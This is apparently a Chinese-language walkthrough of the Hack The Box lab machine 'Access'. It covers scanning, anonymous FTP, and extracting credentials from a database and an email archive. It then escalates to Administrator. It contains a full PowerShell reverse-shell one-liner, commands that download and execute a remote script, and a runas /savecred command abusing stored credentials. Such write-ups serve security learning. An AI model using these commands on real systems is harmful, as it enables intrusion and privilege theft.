HTB：Access[WriteUP]
目录
使用mdb-tables将backup.mdb数据库文件表单列出
由于telnet上的操作过于不便，因此尝试通过telnet反弹shell
控制靶机使用Administrator用户凭证加载反弹Shell
连接至HTB服务器并启动靶机
靶机IP：10.10.10.98
分配IP：10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.10.98 -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,) ┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
21,23,80
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
21,23,80
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.10.98
- 需要重点关注的端口和服务
21端口：FTP服务
23端口：TELNET服务
80端口：HTTP服务
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.98
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.98
尝试匿名连接至靶机FTP服务器
ftp 10.10.10.98┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> type
Using ascii mode to transfer files.
- 使用type命令查看当前传输模式，可见当前为ASCII模式适用于传输文本类文件
将FTP传输模式设置为二进制模式
type binaryftp> type binary
200 Type set to I.
将靶机FTP服务器中的两个文件全部下载到本地
边界突破
使用mdb-tables将backup.mdb数据库文件表单列出
mdb-tables backup.mdb | tr ' ' '\t' | pr -te25 | fmt -w150 | grep -iE 'user||auth'- 我对输出结果进行简单的处理，并将带有`user`、`auth`关键字的表单进行了标记
- 此处我很快就注意到了表单：auth_user
列出auth_user表单数据
mdb-export backup.mdb auth_user | tr ',' '\t' | pr -te20
- 拿到三份凭证
admin:admin
engineer:access4u@security
backup_admin:admin
使用WinRAR解压文件
- 提示需要输入密码
- 将三组密码逐一尝试，最终使用access4u@security成功解压
使用大模型检索解压出来的文件
使用readpst读取该文件内容
- 此处我将文件名改成了1.pst
readpst 1.pst┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# readpst 1.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
"Access Control" - 2 items done, 0 items skipped.
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ls
1.pst 'Access Control.mbox'
- 查看'Access Control.mbox'文件内容
cat 'Access Control.mbox'From "john@megacorp.com" Thu Aug 23 19:44:07 2018
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="--boundary-LibPST-iamunique-74718066_-_-"
----boundary-LibPST-iamunique-74718066_-_-
Content-Type: multipart/alternative;
boundary="alt---boundary-LibPST-iamunique-74718066_-_-"--alt---boundary-LibPST-iamunique-74718066_-_-
Content-Type: text/plain; charset="utf-8"Hi there,
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
Regards,
John
--alt---boundary-LibPST-iamunique-74718066_-_-<...SNIP...>
</o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72"><div class=WordSection1><p class=MsoNormal>Hi there,<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Regards,<o:p></o:p></p><p class=MsoNormal>John<o:p></o:p></p></div></body></html>
--alt---boundary-LibPST-iamunique-74718066_-_-------boundary-LibPST-iamunique-74718066_-_---
- 由此，我们通过该邮件获得凭证
账户：security
密码：4Cc3ssC0ntr0ller
使用telnet通过上述凭证登录靶机
telnet 10.10.10.98┌──(root㉿kali)-[/home/kali/Desktop/nishang/Shells]
└─# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Servicelogin: security
password:*===============================================================
Microsoft Telnet Server.
*===============================================================
- 在C:\Users\security\Desktop目录下找到user.txt文件
C:\Users\security\Desktop>dir /a
Volume in drive C has no label.
Volume Serial Number is 8164-DB5FDirectory of C:\Users\security\Desktop
08/28/2018 06:51 AM <DIR> .
08/28/2018 06:51 AM <DIR> ..
08/21/2018 10:35 PM 282 desktop.ini
01/14/2025 11:01 AM 34 user.txt
2 File(s) 316 bytes
2 Dir(s) 3,350,814,720 bytes freeC:\Users\security\Desktop>type user.txt
53c1c4e1d7659c9c06eada27ff9e78d0
权限提升
由于telnet上的操作过于不便，因此尝试通过telnet反弹shell
- 这里借用了nishang的ps1脚本
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.21',1425);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- 攻击机侧使用nc开始监听
rlwrap -cAr nc -lvnp 1425- 在telnet中控制靶机加载该脚本
START /B "" powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.16.21:6666/Invoke-PowerShellTcpOneLine.ps1')- 攻击机侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.98] 49158
whoami
access\security
PS C:\Users\security\Desktop>
查看靶机系统信息
systeminfo- 该命令的重点是查看系统位数、系统版本
查看靶机系统内用户
net userPS C:\Users\security\Desktop> net user
User accounts for \\ACCESS
-------------------------------------------------------------------------------
Administrator engineer Guest
security
The command completed successfully.
查看当前用户账户信息
net user security
- 该用户未加入其他高权限组
查看当前用户特权信息
whoami /privPS C:\Users\security\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
- 没有可用的特权
列出当前用户存储的凭证
cmdkey /listPS C:\Users\security\Desktop> cmdkey /list
Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
- 由输出可见，当前用户已经保存有Administrator用户的登录凭据，虽然我们无法查看具体密码，但是可以借用该凭据以Administrator用户身份进行登录或进行其他操作
重新复制一个nishang的反弹Shell
- 攻击机侧nc开始监听
rlwrap -cAr nc -lvnp 1426控制靶机使用Administrator用户凭证加载反弹Shell
- 这里务必加上/savecred参数，否则runas不会从用户凭据管理器检索历史凭据
runas /user:ACCESS\Administrator /savecred "powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.16.21:6666/1.ps1')"- 攻击机侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.98] 49164PS C:\Windows\system32> whoami
access\administrator
- 在C:\Users\Administrator\Desktop目录下找到root.txt文件
PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 1/14/2025 11:01 AM 34 root.txt
PS C:\Users\Administrator\Desktop> gc root.txt
70922506693d2c8a6c1761d519249450
原文地址：https://blog.csdn.net/qq_43007452/article/details/145140291
免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！